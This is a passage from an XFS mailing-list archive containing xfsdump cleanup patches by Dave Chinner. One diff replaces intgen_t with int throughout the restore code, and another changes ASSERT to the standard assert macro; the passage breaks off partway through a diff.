hnkp < roothnkp + ( intgen_t )hnkcnt - 1 + hnkp < roothnkp + ( int )hnkcnt - 1 ; hnkp++ ) { hnkp->nextp = hnkp + 1; @@ -422,7 +422,7 @@ inomap_sync_pers( char *hkdir ) */ tailhnkp = hnkp; assert( hnkcnt > 0 ); - lastsegp = &tailhnkp->seg[ ( intgen_t )( segcnt + lastsegp = &tailhnkp->seg[ ( int )( segcnt - SEGPERHNK * ( hnkcnt - 1 ) - @@ -472,7 +472,7 @@ inomap_sanitize( void ) ino < segp->base + INOPERSEG ; ino++ ) { - intgen_t state; + int state; if ( ino > last_ino_added ) { return; } @@ -552,7 +552,7 @@ begin: return BOOL_FALSE; } for ( ino = segp->base ; ino < segp->base + INOPERSEG ; ino++ ){ - intgen_t state; + int state; if ( ino < firstino ) { continue; } @@ -584,7 +584,7 @@ begin: * returns FALSE. */ void -inomap_cbiter( intgen_t statemask, +inomap_cbiter( int statemask, bool_t ( * cbfunc )( void *ctxp, xfs_ino_t ino ), void *ctxp ) { @@ -612,7 +612,7 @@ inomap_cbiter( intgen_t statemask, ino < segp->base + INOPERSEG ; ino++ ) { - intgen_t state; + int state; if ( ino > last_ino_added ) { return; } @@ -634,10 +634,10 @@ inomap_cbiter( intgen_t statemask, /* map_getset - locates and gets the state of the specified ino, * and optionally sets the state to a new value. */ -static intgen_t -map_getset( xfs_ino_t ino, intgen_t newstate, bool_t setflag ) +static int +map_getset( xfs_ino_t ino, int newstate, bool_t setflag ) { - intgen_t state; + int state; seg_t *segp; if ((segp = map_getsegment( ino )) == NULL) { @@ -709,10 +709,10 @@ map_getsegment( xfs_ino_t ino ) return NULL; } -static intgen_t -map_set( xfs_ino_t ino, intgen_t state ) +static int +map_set( xfs_ino_t ino, int state ) { - intgen_t oldstate; + int oldstate; oldstate = map_getset( ino, state, BOOL_TRUE ); return oldstate; diff --git a/restore/inomap.h b/restore/inomap.h index f208199..bc40f3e 100644 --- a/restore/inomap.h +++ b/restore/inomap.h @@ -79,7 +79,7 @@ extern bool_t inomap_rst_needed( xfs_ino_t begino, xfs_ino_t endino ); extern void inomap_rst_add( xfs_ino_t ino ); extern void inomap_rst_del( xfs_ino_t ino ); extern rv_t inomap_discard( drive_t *drivep, content_inode_hdr_t *scrhdrp ); -extern void inomap_cbiter( intgen_t mapstatemask, +extern void inomap_cbiter( int mapstatemask, bool_t ( * cbfunc )( void *ctxp, xfs_ino_t ino ), void *ctxp ); diff --git a/restore/namreg.c b/restore/namreg.c index 18ba6d9..8c3b74f 100644 --- a/restore/namreg.c +++ b/restore/namreg.c @@ -176,7 +176,7 @@ namreg_init( char *hkdir, bool_t resume, u_int64_t inocnt ) { bool_t successpr; unsigned int ioctlcmd; - intgen_t loglevel; + int loglevel; size_t trycnt; for ( trycnt = 0, @@ -191,7 +191,7 @@ namreg_init( char *hkdir, bool_t resume, u_int64_t inocnt ) loglevel = max( MLOG_NORMAL, loglevel - 1 )) { off64_t initsz; struct flock64 flock64; - intgen_t rval; + int rval; if ( ! ioctlcmd ) { continue; @@ -364,13 +364,13 @@ namreg_flush( void ) return RV_OK; } -intgen_t +int namreg_get( nrh_t nrh, char *bufp, size_t bufsz ) { off64_t newoff; - intgen_t nread; + int nread; size_t len; char *in_bufp; static char read_buf[256]; @@ -479,7 +479,7 @@ namreg_get( nrh_t nrh, unlock( ); - return ( intgen_t )len; + return ( int )len; } rv_t diff --git a/restore/namreg.h b/restore/namreg.h index 11004b6..8bc7b53 100644 --- a/restore/namreg.h +++ b/restore/namreg.h @@ -61,6 +61,6 @@ extern rv_t namreg_map( void ); * small to fit the null-terminated name. return -2 if the name * not in the registry. return -3 if a system call fails. */ -extern intgen_t namreg_get( nrh_t nrh, char *bufp, size_t bufsz ); +extern int namreg_get( nrh_t nrh, char *bufp, size_t bufsz ); #endif /* NAMREG_H */ diff --git a/restore/node.c b/restore/node.c index 046f2f6..92a21ce 100644 --- a/restore/node.c +++ b/restore/node.c @@ -111,7 +111,7 @@ extern size_t pgmask; */ #define NODE_HDRSZ pgsz -typedef intgen_t relnix_t; +typedef int relnix_t; struct node_hdr { size_t nh_nodesz; @@ -144,7 +144,7 @@ struct node_hdr { nh_t nh_virgnh; /* handle of next virgin node */ - intgen_t nh_segixshift; + int nh_segixshift; /* bitshift used to extract the segment index from an nh_t */ relnix_t nh_relnixmask; @@ -156,7 +156,7 @@ struct node_hdr { typedef struct node_hdr node_hdr_t; static node_hdr_t *node_hdrp; -static intgen_t node_fd; +static int node_fd; static inline segix_t nh2segix( nh_t nh ) @@ -227,7 +227,7 @@ node_unmap_internal( nh_t nh, void **pp, bool_t freepr ) /* ARGSUSED */ bool_t -node_init( intgen_t fd, +node_init( int fd, off64_t off, size_t usrnodesz, ix_t nodehkix, @@ -241,7 +241,7 @@ node_init( intgen_t fd, size_t max_segments; size_t winmapmax; size_t segcount; - intgen_t segixshift; + int segixshift; /* sanity checks */ @@ -395,7 +395,7 @@ node_init( intgen_t fd, } bool_t -node_sync( intgen_t fd, off64_t off ) +node_sync( int fd, off64_t off ) { /* sanity checks */ @@ -472,7 +472,7 @@ node_alloc( void ) } else { if ( nh2relnix( node_hdrp->nh_virgnh ) == 0 ) { /* need to start a new virgin segment */ - intgen_t rval; + int rval; off64_t new_seg_off = node_hdrp->nh_firstsegoff + ( off64_t )nh2segix( node_hdrp->nh_virgnh ) * diff --git a/restore/node.h b/restore/node.h index ba98d49..25fdaad 100644 --- a/restore/node.h +++ b/restore/node.h @@ -29,7 +29,7 @@ typedef size32_t nh_t; /* node_init - creates a new node abstraction. * user reserves one byte per node for use by the node abstraction */ -extern bool_t node_init( intgen_t fd, /* backing store */ +extern bool_t node_init( int fd, /* backing store */ off64_t off, /* offset into backing store */ size_t nodesz, /* node size */ ix_t nodehkix, /* my housekeeping byte */ @@ -39,7 +39,7 @@ extern bool_t node_init( intgen_t fd, /* backing store */ /* node_sync - syncs up with existing node abstraction persistent state */ -extern bool_t node_sync( intgen_t fd, off64_t off ); +extern bool_t node_sync( int fd, off64_t off ); /* node_alloc - allocates a node, returning a handle. * returns NULL handle if no space left. diff --git a/restore/tree.c b/restore/tree.c index 98f6952..46ba715 100644 --- a/restore/tree.c +++ b/restore/tree.c @@ -156,7 +156,7 @@ struct tran { /* if non-NULL, is path of hkdir relative to dstdir. * don't restore there. */ - intgen_t t_persfd; + int t_persfd; /* file descriptor of the persistent state file */ nh_t *t_hashp; @@ -253,7 +253,7 @@ typedef struct link_iter_context link_iter_context_t; */ struct path_cache { nh_t nh; - intgen_t len; + int len; char buf[MAXPATHLEN]; }; typedef struct path_cache path_cache_t; @@ -275,8 +275,8 @@ static nh_t Node_alloc( xfs_ino_t ino, static void Node_free( nh_t *nhp ); static node_t * Node_map( nh_t nh ); static void Node_unmap( nh_t nh, node_t **npp ); -static intgen_t Node2path_recurse( nh_t nh, char *buf, - intgen_t bufsz, intgen_t level ); +static int Node2path_recurse( nh_t nh, char *buf, + int bufsz, int level ); static void adopt( nh_t parh, nh_t cldh, nrh_t nrh ); static nrh_t disown( nh_t cldh ); static void selsubtree( nh_t nh, bool_t sensepr ); @@ -355,7 +355,7 @@ tree_init( char *hkdir, off64_t nodeoff; char *perspath; bool_t ok; - intgen_t rval; + int rval; /* sanity checks */ @@ -539,7 +539,7 @@ tree_sync( char *hkdir, off64_t nodeoff; char *perspath; bool_t ok; - intgen_t rval; + int rval; if ( persp ) { return BOOL_TRUE; @@ -874,7 +874,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) nh_t renameh; node_t *renamep; /* REFERENCED */ - intgen_t namebuflen; + int namebuflen; hardp->n_flags |= NF_REFED; if ( hardp->n_parh == persp->p_orphh ) { @@ -1283,7 +1283,7 @@ noref_elim_recurse( nh_t parh, nh_t renameh; nh_t grandcldh; nh_t nextcldh; - intgen_t rval; + int rval; bool_t ok; cldp = Node_map( cldh ); @@ -1600,7 +1600,7 @@ mkdirs_recurse( nh_t parh, nh_t cldh, char *path ) /* if needed, create a directory and update real flag */ if ( isdirpr && ! isrealpr && isrefpr && isselpr ) { - intgen_t rval; + int rval; if ( ! Node2path( cldh, path, _("makedir") )) { cldh = nextcldh; @@ -1674,7 +1674,7 @@ rename_dirs( nh_t cldh, if ( isrenamepr ) { node_t *renamep; - intgen_t rval; + int rval; /* REFERENCED */ nrh_t dummynrh; bool_t ok; @@ -2015,8 +2015,8 @@ tree_adjref_recurse( nh_t cldh, if ( ! pardumpedpr && parrefedpr ) { cldp->n_flags |= NF_REFED; } - clddumpedpr = ( intgen_t )cldp->n_flags & NF_DUMPEDDIR; - cldrefedpr = ( intgen_t )cldp->n_flags & NF_REFED; + clddumpedpr = ( int )cldp->n_flags & NF_DUMPEDDIR; + cldrefedpr = ( int )cldp->n_flags & NF_REFED; grandcldh = cldp->n_cldh; Node_unmap( cldh, &cldp ); } @@ -2177,7 +2177,7 @@ proc_hardlinks_cb( void *contextp, nh_t hardheadh ) nh_t nh; link_iter_context_t link_iter_context; bool_t ok; - intgen_t rval; + int rval; /* skip directories */ @@ -2525,10 +2525,10 @@ setdirattr( dah_t dah, char *path ) mode_t mode; struct utimbuf utimbuf; struct fsxattr fsxattr; - intgen_t rval; + int rval; size_t hlen; void *hanp; - intgen_t fd = -1; + int fd = -1; if ( dah == DAH_NULL ) return; @@ -2642,7 +2642,7 @@ setdirattr( dah_t dah, char *path ) bool_t tree_delorph( void ) { - intgen_t rval; + int rval; rval = rmdir( tranp->t_orphdir ); if ( rval ) { @@ -2851,7 +2851,7 @@ tsi_cmd_pwd_recurse( void *ctxp, node_t *np; register nh_t parh; /* REFERENCED */ - register intgen_t namelen; + register int namelen; nrh_t nrh; assert( nh != NH_NULL ); @@ -2937,7 +2937,7 @@ tsi_cmd_ls( void *ctxp, Node_unmap( cldh, &cldp ); if ( cldh != persp->p_orphh ) { /* REFERENCED */ - intgen_t namelen; + int namelen; namelen = namreg_get( nrh, tranp->t_inter.i_name, sizeof( tranp->t_inter.i_name )); @@ -3351,7 +3351,7 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, nh_t nextsibh; nrh_t nrh; /* REFERENCED */ - intgen_t siblen; + int siblen; sibp = Node_map( sibh ); nrh = sibp->n_nrh; @@ -3484,7 +3484,7 @@ Node_unmap( nh_t nh, node_t **npp ) static bool_t Node2path( nh_t nh, char *path, char *errmsg ) { - intgen_t remainingcnt; + int remainingcnt; strcpy(path, "."); /* in case root node passed in */ remainingcnt = Node2path_recurse( nh, path, MAXPATHLEN, 0 ); if ( remainingcnt <= 0 ) { @@ -3509,8 +3509,8 @@ Node2path( nh_t nh, char *path, char *errmsg ) * MAXPATHLEN. always null-terminates, but null char not counted in return. * works because the buffer size is secretly 2 * MAXPATHLEN. */ -static intgen_t -Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) +static int +Node2path_recurse( nh_t nh, char *buf, int bufsz, int level ) { static __thread path_cache_t cache = { NH_NULL, 0, "" }; node_t *np; @@ -3519,8 +3519,8 @@ Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) gen_t gen; nrh_t nrh; char *oldbuf; - intgen_t oldbufsz; - intgen_t namelen; + int oldbufsz; + int namelen; /* recursion termination */ @@ -3869,7 +3869,7 @@ link_matchh( nh_t hardh, nh_t parh, char *name ) np = Node_map( hardh ); if ( np->n_parh == parh ) { /* REFERENCED */ - intgen_t namelen; + int namelen; namelen = namreg_get( np->n_nrh, tranp->t_namebuf, sizeof( tranp->t_namebuf )); @@ -4462,7 +4462,7 @@ Node_chk( nh_t nh, nh_t *nexthashhp, nh_t *nextlnkhp ) } if ( n.n_nrh != NRH_NULL ) { - intgen_t rval; + int rval; rval = namreg_get( n.n_nrh, nambuf, sizeof( nambuf )); assert( rval >= 0 ); } @@ -4573,7 +4573,7 @@ tree_chk2_recurse( nh_t cldh, nh_t parh ) } else if ( cldh == persp->p_orphh ) { sprintf( tranp->t_namebuf, "%llu.%u", ino, gen ); } else { - intgen_t namelen; + int namelen; namelen = namreg_get( nrh, tranp->t_namebuf, sizeof( tranp->t_namebuf )); diff --git a/restore/win.c b/restore/win.c index 3ca2af8..e6c0be3 100644 --- a/restore/win.c +++ b/restore/win.c @@ -78,7 +78,7 @@ static void win_segmap_resize( segix_t segix ); /* transient state */ struct tran { - intgen_t t_fd; + int t_fd; /* file descriptor of backing store to be windowed */ off64_t t_firstoff; @@ -149,7 +149,7 @@ win_getnum_mmaps(void) } void -win_init( intgen_t fd, +win_init( int fd, off64_t firstoff, size64_t segsz, size_t winmax ) @@ -250,7 +250,7 @@ win_map( segix_t segix, void **pp ) tranp->t_wincnt++; } else if ( tranp->t_lruheadp ) { /* REFERENCED */ - intgen_t rval; + int rval; #ifdef TREE_DEBUG mlog(MLOG_DEBUG | MLOG_TREE | MLOG_NOLOCK, "win_map(): get head from lru freelist & unmap\n"); diff --git a/restore/win.h b/restore/win.h index 50d1dcc..a6bd002 100644 --- a/restore/win.h +++ b/restore/win.h @@ -21,11 +21,11 @@ /* win.[ch] - windows into a very large file */ -typedef intgen_t segix_t; +typedef int segix_t; /* initialize the window abstraction */ -void win_init( intgen_t fd, +void win_init( int fd, off64_t rngoff, /* offset into file of windowing */ size64_t winsz, /* window size */ size_t wincntmax ); /* max number of windows to manage */ -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:46:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EA72D7F6A for ; Thu, 15 Oct 2015 20:46:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6D6AE8F804C for ; Thu, 15 Oct 2015 18:46:02 -0700 (PDT) X-ASG-Debug-ID: 1444959917-04bdf06db45dd70004-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id VBLZ4S9vGOnprvPe for ; Thu, 15 Oct 2015 18:45:26 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-NotFiltered: toobig X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CeBADrVSBW/ySkLHnNFQICAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4u-00019q-Rl for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-00005r-Qe for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/8] cleanup: get rid of ASSERT Date: Fri, 16 Oct 2015 12:44:54 +1100 X-ASG-Orig-Subj: [PATCH 1/8] cleanup: get rid of ASSERT Message-Id: <1444959901-31319-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959925 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_VPILL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam From: Dave Chinner ASSERT comes from the xfs/xfs.h include, and we don't ever define DEBUG so we never get asserts built in. We want asserts built in for testing, but not for distro packages. The debian package already tries to do this by using "export DEBUG=-DNDEBUG" for the build context, but seeing as we pull in #define ASSERT(ex) (0) from the XFS headers it's a no-op. Convert all the ASSERT calls to assert to remove this conflict with the xfsprogs headers and so local developer builds are built with asserts enabled. Signed-off-by: Dave Chinner --- common/arch_xlate.c | 1 + common/cldmgr.c | 3 +- common/cleanup.c | 7 +- common/content_common.c | 13 +- common/content_inode.h | 4 +- common/dlog.c | 13 +- common/drive.c | 17 ++- common/drive_minrmt.c | 369 ++++++++++++++++++++++----------------------- common/drive_scsitape.c | 389 ++++++++++++++++++++++++------------------------ common/drive_simple.c | 151 +++++++++---------- common/fs.c | 23 +-- common/global.c | 13 +- common/hsmapi.c | 1 + common/inventory.c | 33 ++-- common/lock.c | 3 +- common/main.c | 99 ++++++------ common/media.c | 21 +-- common/mlog.c | 21 +-- common/openutil.c | 3 +- common/path.c | 25 ++-- common/qlock.c | 29 ++-- common/ring.c | 65 ++++---- common/stream.c | 15 +- common/util.c | 41 ++--- dump/content.c | 239 ++++++++++++++--------------- dump/inomap.c | 19 +-- inventory/inv_api.c | 33 ++-- inventory/inv_core.c | 7 +- inventory/inv_files.c | 9 +- inventory/inv_fstab.c | 5 +- inventory/inv_idx.c | 11 +- inventory/inv_mgr.c | 7 +- inventory/inv_oref.c | 51 +++---- inventory/inv_oref.h | 24 +-- inventory/inv_stobj.c | 23 +-- inventory/testmain.c | 25 ++-- librmt/rmtioctl.c | 1 + restore/bag.c | 19 +-- restore/content.c | 309 +++++++++++++++++++------------------- restore/dirattr.c | 113 +++++++------- restore/inomap.c | 25 ++-- restore/namreg.c | 39 ++--- restore/node.c | 79 +++++----- restore/tree.c | 219 +++++++++++++-------------- restore/win.c | 65 ++++---- 45 files changed, 1362 insertions(+), 1319 deletions(-) diff --git a/common/arch_xlate.c b/common/arch_xlate.c index bafc1a6..e6f897e 100644 --- a/common/arch_xlate.c +++ b/common/arch_xlate.c @@ -18,6 +18,7 @@ #include #include +#include #include "arch_xlate.h" #include "types.h" diff --git a/common/cldmgr.c b/common/cldmgr.c index be7de34..df33a3f 100644 --- a/common/cldmgr.c +++ b/common/cldmgr.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "exit.h" #include "types.h" @@ -79,7 +80,7 @@ cldmgr_create( int ( * entry )( void *arg1 ), cld_t *cldp; intgen_t rval; - ASSERT( pthread_equal( pthread_self( ), cldmgr_parenttid ) ); + assert( pthread_equal( pthread_self( ), cldmgr_parenttid ) ); cldp = cldmgr_getcld( ); if ( ! cldp ) { diff --git a/common/cleanup.c b/common/cleanup.c index 42e8750..523f164 100644 --- a/common/cleanup.c +++ b/common/cleanup.c @@ -17,6 +17,7 @@ */ #include +#include #include "cleanup.h" @@ -51,7 +52,7 @@ cleanup_register_base( void ( * funcp )( void *arg1, void *arg2 ), cu_t *p; p = ( cu_t * )calloc( 1, sizeof( cu_t )); - ASSERT( p ); + assert( p ); p->cu_funcp = funcp; p->cu_arg1 = arg1; p->cu_arg2 = arg2; @@ -94,7 +95,7 @@ cleanup_cancel( cleanup_t *cleanupp ) cu_t *nextp; cu_t *prevp; - ASSERT( cu_rootp ); + assert( cu_rootp ); for ( prevp = 0, nextp = cu_rootp ; @@ -103,7 +104,7 @@ cleanup_cancel( cleanup_t *cleanupp ) prevp = nextp, nextp = nextp->cu_nextp ) ; - ASSERT( nextp ); + assert( nextp ); if ( prevp ) { prevp->cu_nextp = p->cu_nextp; } else { diff --git a/common/content_common.c b/common/content_common.c index 993ddae..65be31f 100644 --- a/common/content_common.c +++ b/common/content_common.c @@ -24,6 +24,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -66,7 +67,7 @@ retry: preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); /* query: ask if media changed or declined @@ -77,13 +78,13 @@ retry: (unsigned int)drivep->d_index ); querycnt = 0; querystr[ querycnt++ ] = question; - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; dontix = choicecnt; choicestr[ choicecnt++ ] = _("media change declined"); doix = choicecnt; choicestr[ choicecnt++ ] = _("media changed"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); sigintix = IXMAX - 1; responseix = dlog_multi_query( querystr, @@ -105,11 +106,11 @@ retry: } else if ( responseix == dontix ) { ackstr[ ackcnt++ ] = _("media change aborted\n"); } else { - ASSERT( responseix == sigintix ); + assert( responseix == sigintix ); ackstr[ ackcnt++ ] = _("keyboard interrupt\n"); } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_multi_ack( ackstr, ackcnt ); @@ -118,7 +119,7 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); diff --git a/common/content_inode.h b/common/content_inode.h index 8f0390c..9013ca4 100644 --- a/common/content_inode.h +++ b/common/content_inode.h @@ -389,7 +389,7 @@ calc_checksum(void *bufp, size_t len) u_int32_t sum = 0; u_int32_t *sump = bufp; u_int32_t *endp = sump + len / sizeof(u_int32_t); - ASSERT(len % sizeof(u_int32_t) == 0); + assert(len % sizeof(u_int32_t) == 0); while (sump < endp) sum += *sump++; return ~sum + 1; @@ -401,7 +401,7 @@ is_checksum_valid(void *bufp, size_t len) u_int32_t sum = 0; u_int32_t *sump = bufp; u_int32_t *endp = sump + len / sizeof(u_int32_t); - ASSERT(len % sizeof(u_int32_t) == 0); + assert(len % sizeof(u_int32_t) == 0); while (sump < endp) sum += *sump++; return sum == 0 ? BOOL_TRUE : BOOL_FALSE; diff --git a/common/dlog.c b/common/dlog.c index ac0cafc..6220cfe 100644 --- a/common/dlog.c +++ b/common/dlog.c @@ -26,6 +26,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -57,7 +58,7 @@ dlog_init( int argc, char *argv[ ] ) /* can only call once */ - ASSERT( dlog_ttyfd == -1 ); + assert( dlog_ttyfd == -1 ); /* initially allow dialog, use stdin fd */ @@ -104,7 +105,7 @@ dlog_init( int argc, char *argv[ ] ) struct stat statbuf; int rval; - ASSERT( dlog_ttyfd >= 0 ); + assert( dlog_ttyfd >= 0 ); rval = fstat( dlog_ttyfd, &statbuf ); if ( rval ) { mlog( MLOG_VERBOSE | MLOG_WARNING, @@ -186,7 +187,7 @@ dlog_multi_query( char *querystr[ ], /* sanity */ - ASSERT( dlog_allowed_flag ); + assert( dlog_allowed_flag ); /* display query description strings */ @@ -295,7 +296,7 @@ dlog_string_query( dlog_ucbp_t ucb, /* user's print func */ /* sanity */ - ASSERT( dlog_allowed_flag ); + assert( dlog_allowed_flag ); /* call the caller's callback with his context, print context, and * print operator @@ -359,7 +360,7 @@ dlog_string_query_print( void *ctxp, char *fmt, ... ) { va_list args; - ASSERT( ! ctxp ); + assert( ! ctxp ); va_start( args, fmt ); mlog_va( MLOG_NORMAL | MLOG_NOLOCK | MLOG_BARE, fmt, args ); @@ -510,7 +511,7 @@ promptinput( char *buf, } return BOOL_FALSE; } else { - ASSERT( dlog_signo_received == -1 ); + assert( dlog_signo_received == -1 ); *exceptionixp = 0; return BOOL_TRUE; } diff --git a/common/drive.c b/common/drive.c index 32a7191..f9ba851 100644 --- a/common/drive.c +++ b/common/drive.c @@ -21,6 +21,7 @@ #include #include +#include #include "types.h" #include "util.h" @@ -88,7 +89,7 @@ drive_init1( int argc, char *argv[ ] ) /* sanity check asserts */ - ASSERT( sizeof( drive_hdr_t ) == DRIVE_HDR_SZ ); + assert( sizeof( drive_hdr_t ) == DRIVE_HDR_SZ ); /* count drive arguments */ @@ -107,7 +108,7 @@ drive_init1( int argc, char *argv[ ] ) */ if (drivecnt > 0) { drivepp = ( drive_t ** )calloc( drivecnt, sizeof( drive_t * )); - ASSERT( drivepp ); + assert( drivepp ); } /* initialize the partialmax value. Each drive can be completing a file @@ -142,7 +143,7 @@ drive_init1( int argc, char *argv[ ] ) break; } } - ASSERT( driveix == drivecnt ); + assert( driveix == drivecnt ); /* the user may specify stdin as the source, by * a single dash ('-') with no option letter. This must appear @@ -169,7 +170,7 @@ drive_init1( int argc, char *argv[ ] ) * allocate an array to hold ptrs to drive descriptors */ drivepp = ( drive_t ** )calloc( drivecnt, sizeof( drive_t * )); - ASSERT( drivepp ); + assert( drivepp ); drivepp[ 0 ] = drive_alloc( "stdio", 0 ); @@ -215,7 +216,7 @@ drive_init1( int argc, char *argv[ ] ) bestscore = score; } } - ASSERT( bestsp ); + assert( bestsp ); drivep->d_strategyp = bestsp; drivep->d_recmarksep = bestsp->ds_recmarksep; drivep->d_recmfilesz = bestsp->ds_recmfilesz; @@ -356,7 +357,7 @@ drive_alloc( char *pathname, ix_t driveix ) /* allocate the descriptor */ drivep = ( drive_t * )calloc( 1, sizeof( drive_t )); - ASSERT( drivep ); + assert( drivep ); /* convert the pathname to an absolute pathname * NOTE: string "stdio" is reserved to mean send to standard out @@ -397,7 +398,7 @@ drive_allochdrs( drive_t *drivep, global_hdr_t *gwhdrtemplatep, ix_t driveix ) /* allocate the read header */ grhdrp = ( global_hdr_t * )calloc( 1, sizeof( global_hdr_t )); - ASSERT( grhdrp ); + assert( grhdrp ); gwhdrp = NULL; dwhdrp = NULL; @@ -411,7 +412,7 @@ drive_allochdrs( drive_t *drivep, global_hdr_t *gwhdrtemplatep, ix_t driveix ) /* allocate the write header */ gwhdrp = ( global_hdr_t * )calloc( 1, sizeof( global_hdr_t )); - ASSERT( gwhdrp ); + assert( gwhdrp ); /* copy the template */ diff --git a/common/drive_minrmt.c b/common/drive_minrmt.c index 8c57699..6d58f1f 100644 --- a/common/drive_minrmt.c +++ b/common/drive_minrmt.c @@ -29,6 +29,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -471,11 +472,11 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) /* opportunity for sanity checking */ - ASSERT( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); - ASSERT( sizeof( rec_hdr_t ) + assert( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); + assert( sizeof( rec_hdr_t ) == sizeofmember( drive_hdr_t, dh_specific )); - ASSERT( ! ( STAPE_MAX_RECSZ % PGSZ )); + assert( ! ( STAPE_MAX_RECSZ % PGSZ )); /* hook up the drive ops */ @@ -484,7 +485,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) /* allocate context for the drive manager */ contextp = ( drive_context_t * )calloc( 1, sizeof( drive_context_t )); - ASSERT( contextp ); + assert( contextp ); memset( ( void * )contextp, 0, sizeof( *contextp )); /* do not enable a separate I/O thread, @@ -583,7 +584,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) */ if ( contextp->dc_singlethreadedpr ) { contextp->dc_bufp = ( char * )memalign( PGSZ, STAPE_MAX_RECSZ ); - ASSERT( contextp->dc_bufp ); + assert( contextp->dc_bufp ); } else { intgen_t rval; mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, @@ -611,7 +612,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) _("not allowed " "to pin down I/O buffer ring\n") ); } else { - ASSERT( 0 ); + assert( 0 ); } return BOOL_FALSE; } @@ -721,18 +722,18 @@ do_begin_read( drive_t *drivep ) /* verify protocol being followed */ - ASSERT( drivep->d_capabilities & DRIVE_CAP_READ ); - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( ! contextp->dc_recp ); + assert( drivep->d_capabilities & DRIVE_CAP_READ ); + assert( contextp->dc_mode == OM_NONE ); + assert( ! contextp->dc_recp ); /* get a record buffer to use during initialization. */ if ( contextp->dc_singlethreadedpr ) { contextp->dc_recp = contextp->dc_bufp; } else { - ASSERT( contextp->dc_ringp ); + assert( contextp->dc_ringp ); contextp->dc_msgp = Ring_get( contextp->dc_ringp ); - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); contextp->dc_recp = contextp->dc_msgp->rm_bufp; } @@ -742,7 +743,7 @@ do_begin_read( drive_t *drivep ) */ contextp->dc_iocnt = 0; if ( contextp->dc_fd < 0 ) { - ASSERT( contextp->dc_fd == -1 ); + assert( contextp->dc_fd == -1 ); rval = prepare_drive( drivep ); if ( rval ) { if ( ! contextp->dc_singlethreadedpr ) { @@ -763,7 +764,7 @@ do_begin_read( drive_t *drivep ) return rval; } } - ASSERT( contextp->dc_iocnt == 1 ); + assert( contextp->dc_iocnt == 1 ); /* set by prepare_drive or read_label */ /* all is well. adjust context. don't kick off read-aheads just yet; @@ -824,10 +825,10 @@ do_read( drive_t *drivep, /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( wantedcnt > 0 ); + assert( 